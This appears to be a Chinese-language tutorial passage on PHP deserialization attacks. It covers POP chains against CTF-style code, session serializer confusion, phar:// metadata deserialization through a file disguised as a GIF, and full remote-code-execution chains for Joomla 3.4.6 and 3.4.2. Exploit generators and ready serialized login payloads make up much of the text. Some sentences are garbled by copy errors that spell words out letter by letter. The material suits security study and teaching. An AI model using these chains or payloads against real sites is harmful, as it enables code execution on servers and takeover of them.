危险的命令执行方法 eval 不在魔术方法中,在 evil 类中。但是魔术方法__construct () 是调用 normal 类,__destruct () 在程序结束时会去调用 normal 类中的 action () 方法。而我们最终的目的是去调用 evil 类中的 action () 方法,并伪造 evil 类中的变量data,达成任意代码执行的目的。这样的话可以尝试去构造POP利用链,让魔术方法__construct()去调用evil这个类,并且给变量 data 赋予恶意代码,比如 php 探针 phpinfo (),这样就相当于执行 <?php eval("phpinfo();")?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 payload: class main { protected $ClassObj = new evil (); } class evil { private $data = "phpinfo()" ; } $a = new main ();echo urlencode (serialize ($a ));或者这样构造也行 class main { protected $ClassObj ; function __construct ( ) { $this ->ClassObj = new evil (); } } class evil { private $data = "phpinfo();" ; } $a = new main ();echo urlencode (serialize ($a ));
但是由于C l a s s O b j 是 p r o t e c t e d 类型修饰, ClassObj是protected类型修饰, C l a s s O b j 是 p r o t e c t e d 类 型 修 饰 , data 是 private 类型修饰,在序列化的时候,多出来的字节都被 \x00 填充,需要进行在代码中使用 urlencode 对序列化后字符串进行编码,否则无法复制解析。
或者直接改不可见字符为 %00
url 地址栏中会自动帮我们解析一次 url 编码
# 0x07
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php class MyFile { public $name ; public $user ; public function __construct ($name , $user ) { $this ->name = $name ; $this ->user = $user ; } public function __toString ( ) { return file_get_contents ($this ->name); } public function __wakeup ( ) { if (stristr ($this ->name, "flag" )!==False) $this ->name = "/etc/hostname" ; else $this ->name = "/etc/passwd" ; if (isset ($_GET ['user' ])) { $this ->user = $_GET ['user' ]; } } public function __destruct ( ) { echo $this ; } } if (isset ($_GET ['input' ])){ $input = $_GET ['input' ]; if (stristr ($input , 'user' )!==False){ die ('Hacker' ); } else { unserialize ($input ); } }else { highlight_file (__FILE__ ); }
像如上代码比较复杂的可以先定位魔术方法与漏洞触发点。在代码中发现__toString () 魔术方法调用了 file_get_contents () 来读取变量name的数据。当程序执行结束或者变量销毁时就会自动调用析构函数__destruct()并使用echo输出变量,__toString()方法在此时会被自动调用。关键在于如果能控制变量 name,就可以造成任意文件读取漏洞。但是通读代码发现前端传入的可控数据只有变量u s e r ,并且传入的 user,并且传入的 u s e r , 并 且 传 入 的 user 还不能包含 “user” 子符串。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 paload: <?php class MyFile { public $name = '/etc/hosts'; public $user = ''; } $a = new MyFile(); $a->name = &$a->user; $b = serialize($a); $b = str_replace("user", "use\\72", $b); $b = str_replace("s", "S", $b); var_dump($b); ?> //通过浅拷贝绕过 if(stristr($this->name, "flag")!==False) //通过十六进制绕过if(stristr($input, 'user')!==False)
一般 POP 链都是反着程序来生成,将我们要实现的代码序列化,传入程序进行反序列化 ,就可以让程序按照我们的想法执行。
# 0x08
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 <?php class start_gg { public $mod1 ; public $mod2 ; public function __destruct ( ) { $this ->mod1->test1 (); } } class Call { public $mod1 ; public $mod2 ; public function test1 ( ) { $this ->mod1->test2 (); } } class funct { public $mod1 ; public $mod2 ; public function __call ($test2 ,$arr ) { $s1 = $this ->mod1; $s1 (); } } class func { public $mod1 ; public $mod2 ; public function __invoke ( ) { $this ->mod2 = "字符串拼接" .$this ->mod1; } } class string1 { public $str1 ; public $str2 ; public function __toString ( ) { $this ->str1->get_flag (); return "1" ; } } class GetFlag { public function get_flag ( ) { echo "flag:xxxxxxxxxxxx" ; } } $a = $_GET ['string' ];unserialize ($a );?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 payload: <?php class start_gg { public $mod1 ; public $mod2 ; public function __construct ( ) { $this ->mod1 = new Call (); } public function __destruct ( ) { $this ->mod1->test1 (); } } class Call { public $mod1 ; public $mod2 ; public function __construct ( ) { $this ->mod1 = new funct (); } public function test1 ( ) { $this ->mod1->test2 (); } } class funct { public $mod1 ; public $mod2 ; public function __construct ( ) { $this ->mod1= new func (); } public function __call ($test2 ,$arr ) { $s1 = $this ->mod1; $s1 (); } } class func { public $mod1 ; public $mod2 ; public function __construct ( ) { $this ->mod1= new string1 (); } public function __invoke ( ) { $this ->mod2 = "字符串拼接" .$this ->mod1; } } class string1 { public $str1 ; public function __construct ( ) { $this ->str1= new GetFlag (); } public function __toString ( ) { $this ->str1->get_flag (); return "1" ; } } class GetFlag { public function get_flag ( ) { echo "flag:" ."xxxxxxxxxxxx" ; } } $b = new start_gg; echo urlencode (serialize ($b ));
# 0x09
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 payload: <?php class Modifier { protected $var = "D://1.txt"; } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } } class Test{ public $p; public function __construct(){ $this->p = new Modifier(); } } $a = new Show(); $a->source = $a; $a->str = new Test(); echo urlencode(serialize($a)); ?>
后面两个例子其实都是一样,原理懒的分析了~
# PHP_session 反序列化
当第一次访问网站时,Seesion_start () 函数就会创建一个唯一的 Session ID,并自动通过 HTTP 的响应头,将这个 Session ID 保存到客户端 Cookie 中。同时,也在服务器端创建一个以 Session ID 命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过 HTTP 的请求头将 Cookie 中保存的 Seesion ID 再携带过来,这时 Session_start () 函数就不会再去分配一个新的 Session ID,而是在服务器的硬盘中去寻找和这个 Session ID 同名的 Session 文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。
session_start 的作用
当会话自动开始或者通过 session_start () 手动开始的时候, PHP 内部会依据客户端传来的 PHPSESSID 来获取现有的对应的会话数据(即 session 文件), PHP 会自动反序列化 session 文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为 sess_PHPSESSID (客户端传来的) 的文件。如果客户端未发送 PHPSESSID,则创建一个由 32 个字母组成的 PHPSESSID,并返回 set-cookie。
Session 存储机制
PHP 中的 Session 中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项 session.save_handler 来进行确定的,默认是以文件的方式存储。存储的文件是以 sess_sessionid 来进行命名的,文件的内容就是 Session 值的序列化之后的内容。
先来大概了解一下 PHP Session 在 php.ini 中主要存在以下配置项:
在 PHP 中 Session 有三种序列化的方式,分别是 php,php_serialize,php_binary,不同的引擎所对应的 Session 的存储的方式不同
存储引擎
存储方式
php_binary
键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize () 函数序列化处理的值
php
键名 + 竖线 + 经过 serialize () 函数序列处理的值
php_serialize
(PHP>5.5.4) 经过 serialize () 函数序列化处理的数组
1 2 3 username|s:5:"aaaaa"; //php usernames:5:"bbbbb"; //php_binary,最前面为ASCII中的不可见字符 a:1:{s:8:"username";s:5:"bbbbb";} //php_serialize
Session 反序列化漏洞
PHP 在 session 存储和读取时,都会有一个序列化和反序列化的过程,PHP 内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化,PHP 中的 Session 的实现是没有的问题的,漏洞主要是由于使用不同的引擎来处理 session 文件造成的 。
存在对 $_SESSION 变量赋值
漏洞的主要原因在于不同的引擎对于竖杠’ | ' 的解析产生歧义。
对于 php_serialize 引擎来说’ | ‘可能只是一个正常的字符;但对于 php 引擎来说’ | ‘就是分隔符,前面是 $_SESSION [‘username’] 的键名 ,后面是 GET 参数经过 serialize 序列化后的值。从而在解析的时候造成了歧义,导致其在解析 Session 文件时直接对’ | ' 后的值进行反序列化处理。
举个例子:
先使用 php_serialize 引擎来存储 Session,在使用 php 引擎读取 session
Session1.php
1 2 3 4 5 6 7 8 9 <?php error_reporting(0); ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION['username'] = $_GET['user']; echo "<pre>"; var_dump($_SESSION); echo "</pre>"; ?>
接下来使用 php 引擎来读取 Session 文件
Session2.php
1 2 3 4 5 6 7 8 9 10 11 12 <?php error_reporting(0); ini_set('session.serialize_handler','php'); session_start(); class user{ var $name; var $age; function __wakeup(){ echo "hello ".$this->name." !" } } ?>
当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会调用会话管理器的 open 和 read 回调函数。 会话管理器可能是 PHP 默认的, 也可能是扩展提供的(SQLite 或者 Memcached 扩展), 也可能是通过 session_set_save_handler() 设定的用户自定义会话管理器。 通过 read 回调函数返回的现有会话数据(使用特殊的序列化格式存储), PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量。
可以看到 PHP 能自动反序列化数据的前提是,现有的会话数据是以特殊的序列化格式存储。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 //那么上一个例子的payload是: <?php class user{ var $name; var $age; } $a = new user(); $a->name = "bmjoker"; $a->age = "888"; echo serialize($a); ?> // O:4:"user":2:{s:4:"name";s:7:"bmjoker";s:3:"age";s:3:"888";} 我们只需要在前面加个| |O:4:"user":2:{s:4:"name";s:7:"bmjoker";s:3:"age";s:3:"888";} 此时session中的username的值为 |O:4:"user":2:{s:4:"name";s:7:"bmjoker";s:3:"age";s:3:"888";} 使用php引擎读取时 |后面的全部会变成value值 就可以出发__wakeup魔法方法
但这种方法是在可以对S E S S I O N 进行赋值的情况下实现的,那如果代码中不存在对 _SESSION进行赋值的情况下实现的,那如果代码中不存在对 S E S S I O N 进 行 赋 值 的 情 况 下 实 现 的 , 那 如 果 代 码 中 不 存 在 对 _SESSION 变量赋值的情况下又该如何利用?
在 PHP 中还存在一个 upload_process 机制,即自动在 $_SESSION 中创建一个键值对(key:value),value 中刚好存在用户可控的部分,可以看下官方描述的,这个功能在文件上传的过程中利用 session 实时返回上传的进度。
# phar 伪协议触发 php 反序列化
通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入 unserialize (),随着代码安全性越来越高,利用难度也越来越大。但在不久前的 Black Hat 上提出利用 phar 文件会以序列化的形式存储用户自定义的 meta-data 这一特性,拓展了 php 反序列化漏洞的攻击面。该方法在文件系统函数(file_exists ()、is_dir () 等)参数可控的情况下,配合 phar:// 伪协议,可以不依赖 unserialize () 直接进行反序列化操作。
phar 介绍和漏洞原理
phar 就是 php 压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与 file://,php:// 等类似,也是一种流包装器。
phar 文件有四部分构成 :
1. a stub
识别 phar 拓展的标识,格式为:xxx,对应的函数 Phar::setStub。前期内容不限,但必须以 __HALT_COMPILER ();?> 结尾,否则 phar 扩展将无法识别这个文件为 phar 文件。
2. a manifest describing the contents
phar 文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的 meta-data,这是漏洞利用的核心部分。对应函数 Phar::setMetadata— 设置 phar 归档元数据。
3. the file contents
被压缩文件的内容。
4. [optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾。对应函数 Phar :: stopBuffering— 停止缓冲对 Phar 存档的写入请求,并将更改保存到磁盘。
这里有两个关键点:
文件标识 ,必须以 __HALT_COMPILER ();?> 结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者 pdf 文件来绕过一些上传限制
反序列化 ,phar 存储的 meta-data 信息以序列化方式存储,当文件操作函数通过 phar:// 伪协议解析 phar 文件时,文件内容会被解析成 phar 对象,然后 phar 对象内的 meta-data 会被反序列化。
meta-data 是用 serialize () 生成并保存在 phar 文件中,当内核调用 phar_parse_metadata () 解析 meta-data 数据时,会调用 php_var_unserialize () 对其进行反序列化操作,因此会造成反序列化漏洞。
而在一些上传点,我们可以更改 phar 的文件头并且修改其后缀名绕过检测,如:test.gif,里面的 meta-data 却是我们提前写入的恶意代码,而且可利用的文件操作函数又很多,所以这是一种不错的绕过 + 执行的方法。
生成 phar 文件的代码如下:
phar.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php //反序列化payload构造 class TestObject { } @unlink("phar.phar"); //实例一个phar对象供后续操作,后缀名必须为phar $phar = new Phar("phar.phar"); //开始缓冲对phar的写操作 $phar->startBuffering(); //设置识别phar拓展的标识stub,必须以 __HALT_COMPILER(); ?> 结尾 $phar->setStub("<?php __HALT_COMPILER(); ?>"); //将反序列化的对象放入该文件中 $o = new TestObject(); $o->data='i am bmjoker'; //将自定义的归档元数据meta-data存入manifest $phar->setMetadata($o); //phar本质上是个压缩包,所以要添加压缩的文件和文件内容 $phar->addFromString("test.txt", "bmjoker"); //停止缓冲对phar的写操作 $phar->stopBuffering(); ?>
可以明显的看到 meta-data 是以序列化的形式存储的,有序列化数据必然会有反序列化操作,php 一大部分的文件系统函数在通过 phar:// 伪协议解析 phar 文件时,都会将 meta-data 进行反序列化,测试后受影响的函数如下:
* 受影响的文件操作函数列表 *
** **
fileatime
filectime
file_exists
file_get_contents
touch
get_meta_tags
file_put_contents
file
filegroup
fopen
hash_file
get_headers
fileinode
filemtime
fileowner
fileperms
md5_file
getimagesize
is_dir
is_executable
is_file
is_link
sha1_file
getimagesizefromstring
is_readable
is_writable
is_writeable
parse_ini_file
hash_update_file
imageloadfont
copy
unlink
stat
readfile
hash_hmac_file
exif_imagetype
这些函数里面可以使用 phar 协议,当然还有常用的文件包含的几个函数 include、include_once、requrie、require_once
对刚才生成的 phar 使用文件操作函数实现反序列化读取:
1 2 3 4 5 6 7 8 9 10 <?php class TestObject{ function __destruct(){ echo $this->data; } } $filename = "phar://phar.phar/test.txt"; file_get_contents($filename); ?>
# 0x10
upload_file.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') { echo "Upload: " . $_FILES["file"]["name"]; echo "Type: " . $_FILES["file"]["type"]; echo "Temp file: " . $_FILES["file"]["tmp_name"]; if (file_exists("upload_file/" . $_FILES["file"]["name"])){ echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"],"upload_file/" .$_FILES["file"]["name"]); echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"]; } } else{ echo "Invalid file,you can only upload gif"; } ?>
upload_file.html
1 2 3 4 5 6 <body> <form action="http://127.0.0.1/upload_file.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="Upload" /> </form> </body>
file_un.php
1 2 3 4 5 6 7 8 9 10 11 <?php $filename=$_GET['filename']; class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } file_exists($filename); // 漏洞点 ?>
upload_file.php 对上传文件的类型,后缀进行了判断,限制为 GIF 文件。而 file_un.php 文件主要使用 file_exists () 判断文件是否存在,并且存在魔术方法__destruct ()。大概思路为首先根据 file_un.php 写一个生成 phar 的 php 文件,当然需要绕过为 gif 的限制,所以需要加 GIF89a,然后我们访问这个 php 文件后,生成了 phar.phar,修改后缀为 gif,上传到服务器,然后利用 file_exists,使用 phar:// 执行代码。
构造 payload 代码 eval.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } $phar = new Phar('phar.phar'); $phar -> startBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar -> addFromString('test.txt','test'); $object = new AnyClass(); $object -> output= 'phpinfo();'; $phar -> setMetadata($object); $phar -> stopBuffering(); ?>
访问 eval.php,会在当前目录生成 phar.phar,然后修改后缀 gif
漏洞利用条件
\1. phar 文件要能够上传到服务器端(如 GET、POST),并且要有 file_exists (),fopen (),file_get_contents (),include () 等文件操作的函数
\2. 要有可用的魔术方法作为 "跳板";
\3. 文件操作函数的参数可控,且:,/,phar 等特殊字符没有被过滤。
虽然某些函数能够支持 phar:// 的协议,但是如果目标服务器没有关闭 phar.readonly 时,就不能正常执行反序列化操作。
在禁止 phar 开头的情况下的替代方法:
1 2 3 4 5 compress.zlib://phar://phar.phar/test.txt compress.bzip2://phar://phar.phar/test.txt php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt
虽然会报 warning,但是还是会执行。
# Joomla 3.4.6 对象逃逸反序列化执行
Joomla 反序列化漏洞的主要原因是:
Joomla 不论账号密码是否正确,都会把登录的用户名和密码,通过序列化的方式存储在 session 表中,再以反序列化的方式读取 session 表中的内容。由于 protected 修饰的变量在序列化的时候,会变成 \x00 + * + \x00 + [变量名] 的形式,而 mysql 无法保存 NULL 字节的数据,所以在向 session 表写入的过程中会将 \x00*\x00 替换为 \0\0\0 ,同样在读取 session 表中的内容的时候会再次转换,然后进行反序列化。如果在向 session 表存储的过程中构造恶意构造一些 \0\0\0,那么在进行反序列化的时候就会由于字节数对不上,导致 “溢出” ,使得反序列化对象逃逸出来。
如果上面这段没看懂,可以看上面利用章节的对象逃逸,如果还看不懂就退学吧
尝试使用错误的账号密码登录,查看一下 session 表中的内容:
在登录过程中,会有一个 303 的跳转,这个跳转是先把用户的输入经过序列化存储在 session 表中,读取的时候再从 session 表中取出数据进行反序列化,进行账号密码对比
通过序列化写入 session 表的具体代码如下:
Joomla/libraries/joomla/session/storage/database.php ——> write()
因为 protected 修饰的变量在序列化后会变成这种形式:\x00 + * + \x00 + [变量名],而 mysql 无法保存 NULL 字节的数据,所以在代码中可以看到在写入 session 表的过程中会将 \x00*\x00 替换为 \0\0\0 来进行存储,就比如 Registry 类下 protected 修饰的 $data 变量,序列化存储为:
通过反序列化读取 session 表的具体代码如下:
Joomla/libraries/joomla/session/storage/database.php ——> read()
在读取时会重新把 \0\0\0 替换为 \x00*\x00 来进行反序列化。
因此反序列化存入 session 表中的数据比原始数据要多 3 个字节
如果传入的用户名为 \0\0\0admin,序列化写入 session 表中的数据为:
在调用 read 方法进行读取时会先将 \0\0\0 转换为 N*N(\x00 为空字节为方便展示这里使用 N 代替):
\0\0\0admin
1 s:8:"username";s:11:"N*Nadmin";s:8:"password";s:6:"123456";
因为 read 之后长度变短了 3 个字节,在反序列化的时候 username 的值为 s:11:“NNadmin",但是实际只有 8 个字节,为了满足反序列化的规则,就会吃掉后面 3 个字节的数据,直至凑齐 11 个字符,也就是 s:11:"N Nadmin”;s。
利用这个思路,足够多的 \0\0\0 就可以将 password 字段的数据逃逸出来,构造如下:
1 s:8:s:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:6:"123456"
read () 之后:
1 s:8:s:"username";s:54:"N*NN*NN*NN*NN*NN*NN*NN*NN*N";s:8:"password";s:6:"12345
username 的值为 NNN NNNN NNNN NNNN NN*N";s:8:“password”;s:6:"12345,后面补上 " 和;就成功逃逸出来了
实现对象注入:
1 s:8:s:"username";s:54:"N*NN*NN*NN*NN*NN*NN*NN*NN*N";s:8:"password";s:6:"12345";s:2:"HS":O:15:"ObjectInjection"
这里来分析一下利用链,通过搜索 eval/assert/call_user_func… 这类可以利用并且参数可控的危险函数,可以找到用于构造执行链的类:
这几个文件调取 call_user_func 的方式都相同,来看一下 libraries\joomla\database\driver\mysqli.php 中方法的具体实现
当 JDatabaseDriverMysqli 这个类的对象被调用,在结束时都会调用析构函数__destruct,__destruct 中会调用 disconnect () 方法。
而当t h i s − > c o n n e c t i o n 为 t r u e 的时候,就会调用 c a l l u s e r f u n c a r r a y ( this->connection为true的时候,就会调用call_user_func_array( t h i s − > c o n n e c t i o n 为 t r u e 的 时 候 , 就 会 调 用 c a l l u s e r f u n c a r r a y ( h, array(&this)); 方法对disconnectHandlers数组中的每个值,都会执行call_user_func_array(),并将&this 作为参数引用,但是不能控制参数,所以不能直接构造 assert+eval 来执行任意代码。
继续往下看发现在 libraries\simplepie\simplepie.php 中有一处 call_user_func 方法调用
这个 call_user_func ($this->cache_name_function, t h i s − > f e e d u r l ) 两个参数都是可控的,于是只要满足 this->feed_url)两个参数都是可控的,于是只要满足 t h i s − > f e e d u r l ) 两 个 参 数 都 是 可 控 的 , 于 是 只 要 满 足 this->cache 为 True,t h i s − > r a w d a t a 为 T r u e , this->raw_data为True, t h i s − > r a w d a t a 为 T r u e , parsed_feed_url [‘scheme’] 不为空就能够 RCE 了,并且 $parsed_feed_url [‘scheme’] 可以能够利用 || $a=‘http//’; 绕过 scheme 的解析
不过这个 call_user_func 属于 init () 方法,并不属于魔术方法,所以需要结合前面 JDatabaseDriverMysqli 类下的 disconnect () 中的 call_user_func_array 方法实现对 init () 方法的回调。就相当于:
1 $this->disconnectHandlers = array("test"=>array(new SimplePie(),"init"));
这样的话就相当于实例化了一个 SimplePie 类的对象,并且调用 SimplePie 类下的 init () 方法。
这里还有一个问题,虽然实例化了一个 SimplePie 的类,但是 SimplePie 类不会自动加载。需要去引入加载类。
/libraries/legacy/simplepie/factory.php
发现刚开始就导入了 SimplePie 类,并且 JSimplepieFactory 类属于 autoload,会自动加载,这样的话只需要引入这个类就可以成功加载 SimplePie。
payload 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php class JSimplepieFactory{} class JDatabaseDriverMysql{} class JDatabaseDriverMysqli { protected $abc; protected $connection; protected $disconnectHandlers; function __construct() { $this->abc = new JSimplepieFactory(); $this->connection = 1; $this->disconnectHandlers = [ [new SimplePie, "init"], ]; } } class SimplePie { var $sanitize; var $cache_name_function; var $feed_url; function __construct() { $this->feed_url = "phpinfo();JFactory::getConfig();exit;"; $this->cache_name_function = "assert"; $this->sanitize = new JDatabaseDriverMysql(); } } $obj = new JDatabaseDriverMysqli(); $ser = serialize($obj); echo str_replace(chr(0) . '*' . chr(0), '\0\0\0', $ser);?>
最后构造的账号密码为:
1 2 username:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 password:123";s:4:"test":O:21:"JDatabaseDriverMysqli":3:{s:6:"\0\0\0abc";O:17:"JSimplepieFactory":0:{}s:13:"\0\0\0connection";i:1;s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":3:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:19:"cache_name_function";s:6:"assert";s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}}
登录时需要登录两次,第一次将他序列化存储进 session 中,第二次将 session 中的值反序列化和我们的输入进行比对,在第二次 rce 产生
最后总结一下:
1.Joomla 中会把登录的用户名和密码序列化存储进入 session,并且放入数据库中。
2. 由于 username 和 password 是 protected,因此会有 *N* 的修饰,但数据库中不能存储 N*N (N 为 ASCII 为 0 的字符),因此在序列化入 session 中会将 N*N 替换为 \0\0\0 ,在下次和我们输入的用户名密码判断时反序列化,将其变为合规的序列化字符串
3. 漏洞的关键点在于从 \0\0\0 变为 N*N 时字符变少了三个,我们可以利用变少的三个做变量逃逸,从而覆盖 password
4. 因此我们的输入用户名时可以自己构造 \0 ,比如我们构造如下用户 \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 ,这样反序列化后多出了 27 个字符把后面的 password 全部吃掉了 s:8:s:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:6:"123456" ,password 被吃掉后我们就可以构造我们自己的 password,里面的内容为恶意代码,我们接下来要干的事情就是把我们序列化过的恶意代码放入因为逃逸而变为可控变量的 password 中
5. 然后我们需要找危险函数,来调用,我们在 libraries\joomla\database\driver\mysqli.php 中找到了 disconnect() 函数,其中调用了 call_user_func_array ,而 mysqli 类中的 __destruct() 会自动调用 disconnect ()
6. 但是 disconnect() 函数中的 call_user_func_array 中的参数我们只能控制第一个参数 $h ,不能直接构造恶意代码
7. 我们在 libraries\simplepie\simplepie.php 中有一个 init() 函数,其中还可以找到一个危险函数 call_user_func 方法调用,并且好消息是他的两个参数 cache_name_function 和 feed_url 我们都可以控制
8. 但是 init() 不是魔法方法,不会自动调用,我们需要使用一些奇技淫巧调用。即使用刚刚的 disconnect() 函数自动调用 init()
9. 接下来的问题就是我们如何用 disconnect() 中的一个可控参数完成对 init() 的调用。我们使用 call_user_func_array(array(new SimplePie(),"init")) 这样的形式来调用,array 中第一个是我们的类名,第二个是类函数名,而我们不需要 ``call_user_func_array ()` 中的第二个变量
10. 最后一个问题是 libraries\simplepie\simplepie.php 和 libraries\joomla\database\driver\mysqli.php 是两个不同的 php 文件,如果没有 include() 这类函数的情况下是无法使用隔壁 php 的类的。我们的解决方案是找到一个新的文件 /libraries/legacy/simplepie/factory.php ,其中 jimport(simplepie.simplepie) ,同时 factory.php 中的 JSimplepieFactory 是自动 autoload ,这样我们就能加载 simplepie 类
11. 由于 session 的存在,我们需要抓包,连续放包两次,第一次将 session 写入数据库中,第二次将我们的输入和数据库中反序列化的 session 比对,一旦反序列化,我们上面构造的恶意 payload 触发,实现 rce
# Joomla 3.4.2 截断反序列化
这个漏洞和前一个 Joomla3.4.6 反序列化很像,利用了相同的危险函数 libraries\simplepie\simplepie.php 中的一个 init() 函数和 libraries\joomla\database\driver\mysqli.php 中的 disconnect() 函数,并且利用 /libraries/legacy/simplepie/factory.php ,其中 jimport(simplepie.simplepie) 自动加载
区别在于:
joomla 也没有采用 php 自带的 session 处理机制,而是用多种方式(包括 database、memcache 等)自己编写了存储 session 的容器(storage)。
其存储格式为『键名 + 竖线 + 经过 serialize () 函数反序列处理的值』,其未正确处理多个竖线的情况。
那么,我们这里就可以通过注入一个 | 符号,将它前面的部分全部认为是 name,而 | 后面我就可以插入任意 serialize 字符串,构造反序列化漏洞了。
但还有一个问题,在我们构造好的反序列化字符串后面,还有它原本的内容,必须要截断。而此处并不像 SQL 注入,还有注释符可用。
但不知各位是否还记得当年 wordpress 出过的一个 XSS ( http://www.leavesongs.com/HTML/wordpress-4-1-stored-xss.html ),当时就是在插入数据库的时候利用 "𝌆"(% F0%9D%8C%86)字符将 utf-8 的字段截断了。
这里我们用同样的方法,在 session 进入数据库的时候就截断后面的内容,避免对我们反序列化过程造成影响。
在 php5.6.13 以前的版本里,php 在获取 session 字符串以后,就开始查找第一个 |,然后用这个 | 将字符串分割成『键名』和『键值』。
用 unserialize 解析键值,解析结果作为 session。
但如果这个 unserialize 解析失败,就放弃这次解析。找到下一个 |,再根据这个 | 将字符串分割成两部分,执行同样的操作,直到解析成功。
所以,这个 joomla 漏洞的核心内容就是:我们通过𝌆字符, 将原本的 session 截断了,结果因为长度不对所以第一次解析 | 失败,才轮到第二次解析我传入的 |,最后成功利用。
所以,构造 session 出错,是这个漏洞成立的核心。
我们可以用长字符(64k)串截断,来达成类似和𝌆字符截断一样的效果。
我们最终的 exp 为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php class JSimplepieFactory {} class JDatabaseDriverMysql {} class SimplePie { var $sanitize ; var $cache ; var $cache_name_function ; var $javascript ; var $feed_url ; function __construct ( ) { $this ->feed_url = "phpinfo();JFactory::getConfig();exit;" ; $this ->javascript = 9999 ; $this ->cache_name_function = "assert" ; $this ->sanitize = new JDatabaseDriverMysql (); $this ->cache = true ; } } class JDatabaseDriverMysqli { protected $a ; protected $disconnectHandlers ; protected $connection ; function __construct ( ) { $this ->a = new JSimplepieFactory (); $x = new SimplePie (); $this ->connection = 1 ; $this ->disconnectHandlers = [ [$x , "init" ], ]; } } $a = new JDatabaseDriverMysqli ();echo serialize ($a );
将这个代码生成的 exp,以前面提到的注入『|』的变换方式,带入前面提到的 user-agent 中,即可触发代码执行。
其中,我们需要将 char(0)*char(0) 替换成 \0\0\0,因为在序列化的时候,protected 类型变量会被转换成 \0*\0name 的样式,这个替换在源代码中也可以看到:
1 2 <?php $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);
给出我最终构造的 POC(既是上述 php 代码生成的 POC):
